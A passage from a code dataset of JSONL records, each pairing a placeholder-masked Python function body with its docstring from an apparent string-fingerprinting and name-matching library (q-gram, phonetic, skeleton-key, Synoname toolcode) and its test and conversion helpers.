>>> bin(of.fingerprint('hat'))\n        '0b110000100000000'\n        >>> bin(of.fingerprint('niall'))\n        '0b10110000100000'\n        >>> bin(of.fingerprint('colin'))\n        '0b1110000110000'\n        >>> bin(of.fingerprint('atcg'))\n        '0b110000000010000'\n        >>> bin(of.fingerprint('entreatment'))\n        '0b1110010010000100'", "id": "f6670:c0:m0"}
{"signature": "def occurrence_halved_fingerprint(<EOL>word, n_bits=<NUM_LIT:16>, most_common=MOST_COMMON_LETTERS_CG<EOL>):", "body": "return OccurrenceHalved().fingerprint(word, n_bits, most_common)<EOL>", "docstring": "Return the occurrence halved fingerprint.\n\n    This is a wrapper for :py:meth:`OccurrenceHalved.fingerprint`.\n\n    Parameters\n    ----------\n    word : str\n        The word to fingerprint\n    n_bits : int\n        Number of bits in the fingerprint returned\n    most_common : list\n        The most common tokens in the target language, ordered by frequency\n\n    Returns\n    -------\n    int\n        The occurrence halved fingerprint\n\n    Examples\n    --------\n    >>> bin(occurrence_halved_fingerprint('hat'))\n    '0b1010000000010'\n    >>> bin(occurrence_halved_fingerprint('niall'))\n    '0b10010100000'\n    >>> bin(occurrence_halved_fingerprint('colin'))\n    '0b1001010000'\n    >>> bin(occurrence_halved_fingerprint('atcg'))\n    '0b10100000000000'\n    >>> bin(occurrence_halved_fingerprint('entreatment'))\n    '0b1111010000110000'", "id": "f6671:m0"}
{"signature": "def fingerprint(self, word, n_bits=<NUM_LIT:16>, most_common=MOST_COMMON_LETTERS_CG):", "body": "if n_bits % <NUM_LIT:2>:<EOL><INDENT>n_bits += <NUM_LIT:1><EOL><DEDENT>w_len = len(word) // <NUM_LIT:2><EOL>w_1 = set(word[:w_len])<EOL>w_2 = set(word[w_len:])<EOL>fingerprint = <NUM_LIT:0><EOL>for letter in most_common:<EOL><INDENT>if n_bits:<EOL><INDENT>fingerprint <<= <NUM_LIT:1><EOL>if letter in w_1:<EOL><INDENT>fingerprint += <NUM_LIT:1><EOL><DEDENT>fingerprint <<= <NUM_LIT:1><EOL>if letter in w_2:<EOL><INDENT>fingerprint += <NUM_LIT:1><EOL><DEDENT>n_bits -= <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if n_bits > <NUM_LIT:0>:<EOL><INDENT>fingerprint <<= n_bits<EOL><DEDENT>return fingerprint<EOL>", "docstring": "Return the occurrence halved fingerprint.\n\n        Based on the occurrence halved fingerprint from :cite:`Cislak:2017`.\n\n        Parameters\n        ----------\n        word : str\n            The word to fingerprint\n        n_bits : int\n            Number of bits in the fingerprint returned\n        most_common : list\n            The most common tokens in the target language, ordered by frequency\n\n        Returns\n        -------\n        int\n            The occurrence halved fingerprint\n\n        Examples\n        --------\n        >>> ohf = OccurrenceHalved()\n        >>> bin(ohf.fingerprint('hat'))\n        '0b1010000000010'\n        >>> bin(ohf.fingerprint('niall'))\n        '0b10010100000'\n        >>> bin(ohf.fingerprint('colin'))\n        '0b1001010000'\n        >>> bin(ohf.fingerprint('atcg'))\n        '0b10100000000000'\n        >>> bin(ohf.fingerprint('entreatment'))\n        '0b1111010000110000'", "id": "f6671:c0:m0"}
{"signature": "def phonetic_fingerprint(<EOL>phrase, phonetic_algorithm=double_metaphone, joiner='<STR_LIT:U+0020>', *args, **kwargs<EOL>):", "body": "return Phonetic().fingerprint(<EOL>phrase, phonetic_algorithm, joiner, *args, **kwargs<EOL>)<EOL>", "docstring": "Return the phonetic fingerprint of a phrase.\n\n    This is a wrapper for :py:meth:`Phonetic.fingerprint`.\n\n    Parameters\n    ----------\n    phrase : str\n        The string from which to calculate the phonetic fingerprint\n    phonetic_algorithm : function\n        A phonetic algorithm that takes a string and returns a string\n        (presumably a phonetic representation of the original string). By\n        default, this function uses :py:func:`.double_metaphone`.\n    joiner : str\n        The string that will be placed between each word\n    *args\n        Variable length argument list\n    **kwargs\n        Arbitrary keyword arguments\n\n    Returns\n    -------\n    str\n        The phonetic fingerprint of the phrase\n\n    Examples\n    --------\n    >>> phonetic_fingerprint('The quick brown fox jumped over the lazy dog.')\n    '0 afr fks jmpt kk ls prn tk'\n    >>> from abydos.phonetic import soundex\n    >>> phonetic_fingerprint('The quick brown fox jumped over the lazy dog.',\n    ... phonetic_algorithm=soundex)\n    'b650 d200 f200 j513 l200 o160 q200 t000'", "id": "f6673:m0"}
{"signature": "def fingerprint(<EOL>self,<EOL>phrase,<EOL>phonetic_algorithm=double_metaphone,<EOL>joiner='<STR_LIT:U+0020>',<EOL>*args,<EOL>**kwargs<EOL>):", "body": "phonetic = '<STR_LIT>'<EOL>for word in phrase.split():<EOL><INDENT>word = phonetic_algorithm(word, *args, **kwargs)<EOL>if not isinstance(word, text_type) and hasattr(word, '<STR_LIT>'):<EOL><INDENT>word = word[<NUM_LIT:0>]<EOL><DEDENT>phonetic += word + joiner<EOL><DEDENT>phonetic = phonetic[: -len(joiner)]<EOL>return super(self.__class__, self).fingerprint(phonetic)<EOL>", "docstring": "Return the phonetic fingerprint of a phrase.\n\n        Parameters\n        ----------\n        phrase : str\n            The string from which to calculate the phonetic fingerprint\n        phonetic_algorithm : function\n            A phonetic algorithm that takes a string and returns a string\n            (presumably a phonetic representation of the original string). By\n            default, this function uses :py:func:`.double_metaphone`.\n        joiner : str\n            The string that will be placed between each word\n        *args\n            Variable length argument list\n        **kwargs\n            Arbitrary keyword arguments\n\n        Returns\n        -------\n        str\n            The phonetic fingerprint of the phrase\n\n        Examples\n        --------\n        >>> pf = Phonetic()\n        >>> pf.fingerprint('The quick brown fox jumped over the lazy dog.')\n        '0 afr fks jmpt kk ls prn tk'\n        >>> from abydos.phonetic import soundex\n        >>> pf.fingerprint('The quick brown fox jumped over the lazy dog.',\n        ... phonetic_algorithm=soundex)\n        'b650 d200 f200 j513 l200 o160 q200 t000'", "id": "f6673:c0:m0"}
{"signature": "def qgram_fingerprint(phrase, qval=<NUM_LIT:2>, start_stop='<STR_LIT>', joiner='<STR_LIT>'):", "body": "return QGram().fingerprint(phrase, qval, start_stop, joiner)<EOL>", "docstring": "Return Q-Gram fingerprint.\n\n    This is a wrapper for :py:meth:`QGram.fingerprint`.\n\n    Parameters\n    ----------\n    phrase : str\n        The string from which to calculate the q-gram fingerprint\n    qval : int\n        The length of each q-gram (by default 2)\n    start_stop : str\n        The start & stop symbol(s) to concatenate on either end of the phrase,\n        as defined in :py:class:`tokenizer.QGrams`\n    joiner : str\n        The string that will be placed between each word\n\n    Returns\n    -------\n    str\n        The q-gram fingerprint of the phrase\n\n    Examples\n    --------\n    >>> qgram_fingerprint('The quick brown fox jumped over the lazy dog.')\n    'azbrckdoedeleqerfoheicjukblampnfogovowoxpequrortthuiumvewnxjydzy'\n    >>> qgram_fingerprint('Christopher')\n    'cherhehrisopphristto'\n    >>> qgram_fingerprint('Niall')\n    'aliallni'", "id": "f6674:m0"}
{"signature": "def fingerprint(self, phrase, qval=<NUM_LIT:2>, start_stop='<STR_LIT>', joiner='<STR_LIT>'):", "body": "phrase = unicode_normalize('<STR_LIT>', text_type(phrase.strip().lower()))<EOL>phrase = '<STR_LIT>'.join(c for c in phrase if c.isalnum())<EOL>phrase = QGrams(phrase, qval, start_stop)<EOL>phrase = joiner.join(sorted(phrase))<EOL>return phrase<EOL>", "docstring": "Return Q-Gram fingerprint.\n\n        Parameters\n        ----------\n        phrase : str\n            The string from which to calculate the q-gram fingerprint\n        qval : int\n            The length of each q-gram (by default 2)\n        start_stop : str\n            The start & stop symbol(s) to concatenate on either end of the\n            phrase, as defined in :py:class:`tokenizer.QGrams`\n        joiner : str\n            The string that will be placed between each word\n\n        Returns\n        -------\n        str\n            The q-gram fingerprint of the phrase\n\n        Examples\n        --------\n        >>> qf = QGram()\n        >>> qf.fingerprint('The quick brown fox jumped over the lazy dog.')\n        'azbrckdoedeleqerfoheicjukblampnfogovowoxpequrortthuiumvewnxjydzy'\n        >>> qf.fingerprint('Christopher')\n        'cherhehrisopphristto'\n        >>> qf.fingerprint('Niall')\n        'aliallni'", "id": "f6674:c0:m0"}
{"signature": "def skeleton_key(word):", "body": "return SkeletonKey().fingerprint(word)<EOL>", "docstring": "Return the skeleton key.\n\n    This is a wrapper for :py:meth:`SkeletonKey.fingerprint`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform into its skeleton key\n\n    Returns\n    -------\n    str\n        The skeleton key\n\n    Examples\n    --------\n    >>> skeleton_key('The quick brown fox jumped over the lazy dog.')\n    'THQCKBRWNFXJMPDVLZYGEUIOA'\n    >>> skeleton_key('Christopher')\n    'CHRSTPIOE'\n    >>> skeleton_key('Niall')\n    'NLIA'", "id": "f6675:m0"}
{"signature": "def fingerprint(self, word):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._letters)<EOL>start = word[<NUM_LIT:0>:<NUM_LIT:1>]<EOL>consonant_part = '<STR_LIT>'<EOL>vowel_part = '<STR_LIT>'<EOL>for char in word[<NUM_LIT:1>:]:<EOL><INDENT>if char != start:<EOL><INDENT>if char in self._vowels:<EOL><INDENT>if char not in vowel_part:<EOL><INDENT>vowel_part += char<EOL><DEDENT><DEDENT>elif char not in consonant_part:<EOL><INDENT>consonant_part += char<EOL><DEDENT><DEDENT><DEDENT>return start + consonant_part + vowel_part<EOL>", "docstring": "Return the skeleton key.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform into its skeleton key\n\n        Returns\n        -------\n        str\n            The skeleton key\n\n        Examples\n        --------\n        >>> sk = SkeletonKey()\n        >>> sk.fingerprint('The quick brown fox jumped over the lazy dog.')\n        'THQCKBRWNFXJMPDVLZYGEUIOA'\n        >>> sk.fingerprint('Christopher')\n        'CHRSTPIOE'\n        >>> sk.fingerprint('Niall')\n        'NLIA'", "id": "f6675:c0:m0"}
{"signature": "def fingerprint(self, word):", "body": "pass<EOL>", "docstring": "Fingerprint string.\n\n        Parameters\n        ----------\n        word : str\n            Word to fingerprint", "id": "f6676:c0:m0"}
{"signature": "def synoname_toolcode(lname, fname='<STR_LIT>', qual='<STR_LIT>', normalize=<NUM_LIT:0>):", "body": "return SynonameToolcode().fingerprint(lname, fname, qual, normalize)<EOL>", "docstring": "Build the Synoname toolcode.\n\n    This is a wrapper for :py:meth:`SynonameToolcode.fingerprint`.\n\n    Parameters\n    ----------\n    lname : str\n        Last name\n    fname : str\n        First name (can be blank)\n    qual : str\n        Qualifier\n    normalize : int\n        Normalization mode (0, 1, or 2)\n\n    Returns\n    -------\n    tuple\n        The transformed names and the synoname toolcode\n\n    Examples\n    --------\n    >>> synoname_toolcode('hat')\n    ('hat', '', '0000000003$$h')\n    >>> synoname_toolcode('niall')\n    ('niall', '', '0000000005$$n')\n    >>> synoname_toolcode('colin')\n    ('colin', '', '0000000005$$c')\n    >>> synoname_toolcode('atcg')\n    ('atcg', '', '0000000004$$a')\n    >>> synoname_toolcode('entreatment')\n    ('entreatment', '', '0000000011$$e')\n\n    >>> synoname_toolcode('Ste.-Marie', 'Count John II', normalize=2)\n    ('ste.-marie ii', 'count john', '0200491310$015b049a127c$smcji')\n    >>> synoname_toolcode('Michelangelo IV', '', 'Workshop of')\n    ('michelangelo iv', '', '3000550015$055b$mi')", "id": "f6677:m0"}
{"signature": "def fingerprint(self, lname, fname='<STR_LIT>', qual='<STR_LIT>', normalize=<NUM_LIT:0>):", "body": "lname = lname.lower()<EOL>fname = fname.lower()<EOL>qual = qual.lower()<EOL>toolcode = ['<STR_LIT:0>', '<STR_LIT:0>', '<STR_LIT:0>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:$>', '<STR_LIT>', '<STR_LIT:$>', '<STR_LIT>']<EOL>full_name = '<STR_LIT:U+0020>'.join((lname, fname))<EOL>if qual in self._qual_3:<EOL><INDENT>toolcode[<NUM_LIT:0>] = '<STR_LIT:3>'<EOL><DEDENT>elif qual in self._qual_2:<EOL><INDENT>toolcode[<NUM_LIT:0>] = '<STR_LIT:2>'<EOL><DEDENT>elif qual in self._qual_1:<EOL><INDENT>toolcode[<NUM_LIT:0>] = '<STR_LIT:1>'<EOL><DEDENT>if '<STR_LIT:.>' in full_name:<EOL><INDENT>toolcode[<NUM_LIT:1>] = '<STR_LIT:2>'<EOL><DEDENT>else:<EOL><INDENT>for punct in '<STR_LIT>':<EOL><INDENT>if punct in full_name:<EOL><INDENT>toolcode[<NUM_LIT:1>] = '<STR_LIT:1>'<EOL>break<EOL><DEDENT><DEDENT><DEDENT>elderyounger = '<STR_LIT>'  <EOL>for gen in self._gen_1:<EOL><INDENT>if gen in full_name:<EOL><INDENT>toolcode[<NUM_LIT:2>] = '<STR_LIT:1>'<EOL>elderyounger = gen<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for gen in self._gen_2:<EOL><INDENT>if gen in full_name:<EOL><INDENT>toolcode[<NUM_LIT:2>] = '<STR_LIT:2>'<EOL>elderyounger = gen<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if normalize:<EOL><INDENT>comma = lname.find('<STR_LIT:U+002C>')<EOL>if comma != -<NUM_LIT:1>:<EOL><INDENT>lname_end = lname[comma + <NUM_LIT:1> :]<EOL>while lname_end[<NUM_LIT:0>] in {'<STR_LIT:U+0020>', '<STR_LIT:U+002C>'}:<EOL><INDENT>lname_end = lname_end[<NUM_LIT:1>:]<EOL><DEDENT>fname = lname_end + '<STR_LIT:U+0020>' + fname<EOL>lname = lname[:comma].strip()<EOL><DEDENT><DEDENT>if normalize == <NUM_LIT:2> and elderyounger:<EOL><INDENT>elderyounger_loc = fname.find(elderyounger)<EOL>if elderyounger_loc != -<NUM_LIT:1>:<EOL><INDENT>lname = '<STR_LIT:U+0020>'.join((lname, elderyounger.strip()))<EOL>fname = '<STR_LIT:U+0020>'.join(<EOL>(<EOL>fname[:elderyounger_loc].strip(),<EOL>fname[elderyounger_loc + len(elderyounger) :],<EOL>)<EOL>).strip()<EOL><DEDENT><DEDENT>toolcode[<NUM_LIT:4>] = '<STR_LIT>'.format(len(fname))<EOL>toolcode[<NUM_LIT:5>] = '<STR_LIT>'.format(len(lname))<EOL>for char in '<STR_LIT>':<EOL><INDENT>full_name = full_name.replace(char, '<STR_LIT>')<EOL><DEDENT>for pos, char in enumerate(full_name):<EOL><INDENT>if char == '<STR_LIT:->' and full_name[pos - <NUM_LIT:1> : pos + <NUM_LIT:2>] != '<STR_LIT>':<EOL><INDENT>full_name = full_name[:pos] + '<STR_LIT:U+0020>' + full_name[pos + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>for letter in [_[<NUM_LIT:0>] for _ in full_name.split()]:<EOL><INDENT>if letter not in toolcode[<NUM_LIT:9>]:<EOL><INDENT>toolcode[<NUM_LIT:9>] += letter<EOL><DEDENT>if len(toolcode[<NUM_LIT:9>]) == <NUM_LIT:15>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>def roman_check(numeral, fname, lname):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>loc = fname.find(numeral)<EOL>if fname and (<EOL>loc != -<NUM_LIT:1><EOL>and (len(fname[loc:]) == len(numeral))<EOL>or fname[loc + len(numeral)] in {'<STR_LIT:U+0020>', '<STR_LIT:U+002C>'}<EOL>):<EOL><INDENT>lname = '<STR_LIT:U+0020>'.join((lname, numeral))<EOL>fname = '<STR_LIT:U+0020>'.join(<EOL>(<EOL>fname[:loc].strip(),<EOL>fname[loc + len(numeral) :].lstrip('<STR_LIT>'),<EOL>)<EOL>)<EOL><DEDENT>return fname.strip(), lname.strip()<EOL><DEDENT>for num, special in enumerate(self._synoname_special_table):<EOL><INDENT>roman, match, extra, method = special<EOL>if method & self._method_dict['<STR_LIT:end>']:<EOL><INDENT>match_context = '<STR_LIT:U+0020>' + match<EOL>loc = full_name.find(match_context)<EOL>if (len(full_name) > len(match_context)) and (<EOL>loc == len(full_name) - len(match_context)<EOL>):<EOL><INDENT>if roman:<EOL><INDENT>if not any(<EOL>abbr in fname for abbr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>):<EOL><INDENT>full_name = full_name[:loc]<EOL>toolcode[<NUM_LIT:7>] += '<STR_LIT>'.format(num) + '<STR_LIT:a>'<EOL>if toolcode[<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>toolcode[<NUM_LIT:3>] = '<STR_LIT>'.format(num)<EOL><DEDENT>if normalize == <NUM_LIT:2>:<EOL><INDENT>fname, lname = roman_check(match, fname, lname)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>full_name = full_name[:loc]<EOL>toolcode[<NUM_LIT:7>] += '<STR_LIT>'.format(num) + '<STR_LIT:a>'<EOL><DEDENT><DEDENT><DEDENT>if method & self._method_dict['<STR_LIT>']:<EOL><INDENT>match_context = '<STR_LIT:U+0020>' + match + '<STR_LIT:U+0020>'<EOL>loc = <NUM_LIT:0><EOL>while loc != -<NUM_LIT:1>:<EOL><INDENT>loc = full_name.find(match_context, loc + <NUM_LIT:1>)<EOL>if loc > <NUM_LIT:0>:<EOL><INDENT>if roman:<EOL><INDENT>if not any(<EOL>abbr in fname for abbr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>):<EOL><INDENT>full_name = (<EOL>full_name[:loc]<EOL>+ full_name[loc + len(match) + <NUM_LIT:1> :]<EOL>)<EOL>toolcode[<NUM_LIT:7>] += '<STR_LIT>'.format(num) + '<STR_LIT:b>'<EOL>if toolcode[<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>toolcode[<NUM_LIT:3>] = '<STR_LIT>'.format(num)<EOL><DEDENT>if normalize == <NUM_LIT:2>:<EOL><INDENT>fname, lname = roman_check(<EOL>match, fname, lname<EOL>)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>full_name = (<EOL>full_name[:loc]<EOL>+ full_name[loc + len(match) + <NUM_LIT:1> :]<EOL>)<EOL>toolcode[<NUM_LIT:7>] += '<STR_LIT>'.format(num) + '<STR_LIT:b>'<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if method & self._method_dict['<STR_LIT>']:<EOL><INDENT>match_context = match + '<STR_LIT:U+0020>'<EOL>loc = full_name.find(match_context)<EOL>if loc == <NUM_LIT:0>:<EOL><INDENT>full_name = full_name[len(match) + <NUM_LIT:1> :]<EOL>toolcode[<NUM_LIT:7>] += '<STR_LIT>'.format(num) + '<STR_LIT:c>'<EOL><DEDENT><DEDENT>if method & self._method_dict['<STR_LIT>']:<EOL><INDENT>loc = full_name.find(match)<EOL>if loc == <NUM_LIT:0>:<EOL><INDENT>toolcode[<NUM_LIT:7>] += '<STR_LIT>'.format(num) + '<STR_LIT:d>'<EOL>if full_name[: len(match)] not in toolcode[<NUM_LIT:9>]:<EOL><INDENT>toolcode[<NUM_LIT:9>] += full_name[: len(match)]<EOL><DEDENT><DEDENT><DEDENT>if extra:<EOL><INDENT>loc = full_name.find(extra)<EOL>if loc != -<NUM_LIT:1>:<EOL><INDENT>toolcode[<NUM_LIT:7>] += '<STR_LIT>'.format(num) + '<STR_LIT:X>'<EOL>toolcode[<NUM_LIT:9>] += full_name[loc : loc + len(match)]<EOL><DEDENT><DEDENT><DEDENT>return lname, fname, '<STR_LIT>'.join(toolcode)<EOL>", "docstring": "Build the Synoname toolcode.\n\n        Parameters\n        ----------\n        lname : str\n            Last name\n        fname : str\n            First name (can be blank)\n        qual : str\n            Qualifier\n        normalize : int\n            Normalization mode (0, 1, or 2)\n\n        Returns\n        -------\n        tuple\n            The transformed names and the synoname toolcode\n\n        Examples\n        --------\n        >>> st = SynonameToolcode()\n        >>> st.fingerprint('hat')\n        ('hat', '', '0000000003$$h')\n        >>> st.fingerprint('niall')\n        ('niall', '', '0000000005$$n')\n        >>> st.fingerprint('colin')\n        ('colin', '', '0000000005$$c')\n        >>> st.fingerprint('atcg')\n        ('atcg', '', '0000000004$$a')\n        >>> st.fingerprint('entreatment')\n        ('entreatment', '', '0000000011$$e')\n\n        >>> st.fingerprint('Ste.-Marie', 'Count John II', normalize=2)\n        ('ste.-marie ii', 'count john', '0200491310$015b049a127c$smcji')\n        >>> st.fingerprint('Michelangelo IV', '', 'Workshop of')\n        ('michelangelo iv', '', '3000550015$055b$mi')", "id": "f6677:c0:m0"}
{"signature": "def _corpus_file(name, corpora_dir=CORPORA):", "body": "return _super_corpus_file(name, corpora_dir)<EOL>", "docstring": "Return the path to a corpus file.\n\n    Parameters\n    ----------\n    name : str\n        Corpus file\n    corpora_dir : str\n        The directory containing the corpora\n\n    Returns\n    -------\n    str\n        The path to the corpus file", "id": "f6711:m0"}
{"signature": "def _random_char(below=<NUM_LIT>, must_be=None):", "body": "while True:<EOL><INDENT>char = unichr(randint(<NUM_LIT:0>, below))  <EOL>try:<EOL><INDENT>name = unicodedata.name(char)<EOL>if must_be is None or must_be in name:<EOL><INDENT>return char<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Generate a random Unicode character below U+{below}.\n\n    Parameters\n    ----------\n    below : int\n        Maximum Unicode value\n    must_be : str\n        A required part of the character name\n\n    Returns\n    -------\n    str\n        A character\n\n    Raises\n    ------\n    ValueError", "id": "f6711:m1"}
{"signature": "def _fuzz(word, fuzziness=<NUM_LIT>):", "body": "while True:<EOL><INDENT>new_word = []<EOL>for ch in word:<EOL><INDENT>if random() > fuzziness:  <EOL><INDENT>new_word.append(ch)<EOL><DEDENT>else:<EOL><INDENT>if random() > <NUM_LIT:0.5>:  <EOL><INDENT>new_word.append(choice(printable))  <EOL><DEDENT>elif random() > <NUM_LIT>:  <EOL><INDENT>new_word.append(unichr(randint(<NUM_LIT:0>, <NUM_LIT>)))  <EOL><DEDENT>else:<EOL><INDENT>new_word.append(unichr(randint(<NUM_LIT:0>, <NUM_LIT>)))  <EOL><DEDENT>if random() > <NUM_LIT:0.5>:  <EOL><INDENT>new_word.append(ch)<EOL><DEDENT><DEDENT><DEDENT>new_word = '<STR_LIT>'.join(new_word)<EOL>if new_word != word:<EOL><INDENT>return new_word<EOL><DEDENT><DEDENT>", "docstring": "Fuzz a word with noise.\n\n    Parameters\n    ----------\n    word : str\n        A word to fuzz\n    fuzziness : float\n        How fuzzy to make the word\n\n    Returns\n    -------\n    str\n        A fuzzed word", "id": "f6711:m2"}
{"signature": "def _corpus_file(name, corpora_dir=CORPORA):", "body": "return os.path.join(corpora_dir, name)<EOL>", "docstring": "Return the path to a corpus file.\n\n    Parameters\n    ----------\n    name : str\n        Corpus file\n        corpora_dir : str\n        The directory containing the corpora\n\n    Returns\n    -------\n    str: The full path to the corpus file", "id": "f6713:m0"}
{"signature": "def _one_in(inverse_probability):", "body": "if EXTREME_TEST:<EOL><INDENT>return True<EOL><DEDENT>elif ALLOW_RANDOM and random() * inverse_probability < <NUM_LIT:1>:  <EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return whether to run a test.\n\n    Return True if:\n        EXTREME_TEST is True\n        OR\n        (ALLOW_RANDOM is True\n        AND\n        random.random() * inverse_probability < 1)\n    Otherwise return False\n\n    Parameters\n    ----------\n    inverse_probability : int\n        The inverse of the probability\n\n    Returns\n    -------\n    bool: Whether to run a test", "id": "f6713:m1"}
{"signature": "def _sim_wikipedia(src, tar):", "body": "nw_matrix = {<EOL>('<STR_LIT:A>', '<STR_LIT:A>'): <NUM_LIT:10>,<EOL>('<STR_LIT>', '<STR_LIT>'): <NUM_LIT:7>,<EOL>('<STR_LIT:C>', '<STR_LIT:C>'): <NUM_LIT:9>,<EOL>('<STR_LIT:T>', '<STR_LIT:T>'): <NUM_LIT:8>,<EOL>('<STR_LIT:A>', '<STR_LIT>'): -<NUM_LIT:1>,<EOL>('<STR_LIT:A>', '<STR_LIT:C>'): -<NUM_LIT:3>,<EOL>('<STR_LIT:A>', '<STR_LIT:T>'): -<NUM_LIT:4>,<EOL>('<STR_LIT>', '<STR_LIT:C>'): -<NUM_LIT:5>,<EOL>('<STR_LIT>', '<STR_LIT:T>'): -<NUM_LIT:3>,<EOL>('<STR_LIT:C>', '<STR_LIT:T>'): <NUM_LIT:0>,<EOL>}<EOL>return NeedlemanWunsch.sim_matrix(<EOL>src, tar, nw_matrix, symmetric=True, alphabet='<STR_LIT>'<EOL>)<EOL>", "docstring": "Return a similarity score for two DNA base pairs.\n\n    Values copied from:\n    https://en.wikipedia.org/wiki/Needleman%E2%80%93Wunsch_algorithm\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n        tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    int: similarity of two DNA base pairs", "id": "f6768:m0"}
{"signature": "def _sim_nw(src, tar):", "body": "return <NUM_LIT:2> * int(src is tar) - <NUM_LIT:1><EOL>", "docstring": "Return 1 if src is tar, otherwise -1.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n        tar : str\n        Target string for comparison\n\n    Returns\n    -------\n    int: nw similarity", "id": "f6768:m1"}
{"signature": "def c2u(name):", "body": "s1 = re.sub('<STR_LIT>', r'<STR_LIT>', name)<EOL>s1 = re.sub('<STR_LIT>', r'<STR_LIT>', s1).lower()<EOL>return s1<EOL>", "docstring": "Convert camelCase (used in PHP) to Python-standard snake_case.\n\n    Src:\n    https://stackoverflow.com/questions/1175208/elegant-python-function-to-convert-camelcase-to-snake-case\n\n    Parameters\n    ----------\n    name: A function or variable name in camelCase\n\n    Returns\n    -------\n    str: The name in snake_case", "id": "f6817:m0"}
{"signature": "def pythonize(line, fn='<STR_LIT>', subdir='<STR_LIT>'):", "body": "global array_seen, nl, sd<EOL>if '<STR_LIT>' in line:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in line:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>line = line.strip()<EOL>if '<STR_LIT>' in line and not line.startswith('<STR_LIT>'):<EOL><INDENT>array_seen = True<EOL><DEDENT>line = re.sub('<STR_LIT>', '<STR_LIT:#>', line)<EOL>if line and re.search(r'<STR_LIT>', line):<EOL><INDENT>line = '<STR_LIT>'<EOL><DEDENT>line = line.replace('<STR_LIT>', '<STR_LIT>')<EOL>line = re.sub(r'<STR_LIT>', '<STR_LIT>', line)<EOL>line = re.sub('<STR_LIT>', '<STR_LIT>', line)<EOL>line = re.sub('<STR_LIT>', '<STR_LIT>', line)<EOL>line = re.sub(<EOL>r'<STR_LIT>'<EOL>+ r'<STR_LIT>',<EOL>lambda m: (<EOL>\"<STR_LIT>\"<EOL>+ subdir<EOL>+ \"<STR_LIT>\"<EOL>+ m.group(<NUM_LIT:1>)<EOL>+ \"<STR_LIT>\"<EOL>+ m.group(<NUM_LIT:2>).upper()<EOL>+ '<STR_LIT>'<EOL>+ subdir.upper()<EOL>+ '<STR_LIT:_>'<EOL>+ c2u(m.group(<NUM_LIT:3>)).upper()<EOL>),<EOL>line,<EOL>)<EOL>line = re.sub(<EOL>r'<STR_LIT>'<EOL>+ r'<STR_LIT>',<EOL>lambda m: (<EOL>\"<STR_LIT>\"<EOL>+ subdir<EOL>+ \"<STR_LIT>\"<EOL>+ m.group(<NUM_LIT:1>)<EOL>+ \"<STR_LIT>\"<EOL>+ c2u(m.group(<NUM_LIT:2>)).upper()<EOL>+ '<STR_LIT>'<EOL>+ subdir.upper()<EOL>+ '<STR_LIT:_>'<EOL>+ c2u(m.group(<NUM_LIT:3>)).upper()<EOL>+ '<STR_LIT>'<EOL>+ subdir.upper()<EOL>+ '<STR_LIT:_>'<EOL>+ c2u(m.group(<NUM_LIT:4>)).upper()<EOL>),<EOL>line,<EOL>)<EOL>line = re.sub(<EOL>r'<STR_LIT>'<EOL>+ r'<STR_LIT>',<EOL>lambda m: (<EOL>\"<STR_LIT>\"<EOL>+ subdir<EOL>+ \"<STR_LIT>\"<EOL>+ m.group(<NUM_LIT:1>)<EOL>+ \"<STR_LIT>\"<EOL>+ c2u(m.group(<NUM_LIT:2>)).upper()<EOL>+ '<STR_LIT>'<EOL>+ subdir.upper()<EOL>+ '<STR_LIT:_>'<EOL>+ c2u(m.group(<NUM_LIT:3>)).upper()<EOL>+ '<STR_LIT>'<EOL>+ subdir.upper()<EOL>+ '<STR_LIT:_>'<EOL>+ c2u(m.group(<NUM_LIT:4>)).upper()<EOL>),<EOL>line,<EOL>)<EOL>line = re.sub(<EOL>r'<STR_LIT>',<EOL>lambda m: '<STR_LIT:_>' + sd.upper() + '<STR_LIT:_>' + c2u(m.group(<NUM_LIT:1>)).upper(),<EOL>line,<EOL>)<EOL>for _ in range(len(lang_tuple)):<EOL><INDENT>line = re.sub(r'<STR_LIT>', r'<STR_LIT>', line)<EOL><DEDENT>line = re.sub(<EOL>r'<STR_LIT>',<EOL>lambda m: (<EOL>'<STR_LIT>' + m.group(<NUM_LIT:1>).upper()<EOL>if m.group(<NUM_LIT:1>) in lang_dict<EOL>else '<STR_LIT:$>' + m.group(<NUM_LIT:1>)<EOL>),<EOL>line,<EOL>)<EOL>line = re.sub(r'<STR_LIT>', r'<STR_LIT>', line)<EOL>line = re.sub(<EOL>'<STR_LIT>', lambda m: str(lang_dict[m.group(<NUM_LIT:1>).lower()]), line<EOL>)<EOL>for _ in range(<NUM_LIT:4>):<EOL><INDENT>line = re.sub(<EOL>r'<STR_LIT>',<EOL>lambda m: str(int(m.group(<NUM_LIT:1>)) + int(m.group(<NUM_LIT:2>))),<EOL>line,<EOL>)<EOL><DEDENT>if fn == '<STR_LIT>':<EOL><INDENT>if len(line.split('<STR_LIT:U+002C>')) >= <NUM_LIT:3>:<EOL><INDENT>parts = line.split('<STR_LIT:U+002C>')<EOL>parts[<NUM_LIT:0>] = re.sub('<STR_LIT>', r'<STR_LIT>', 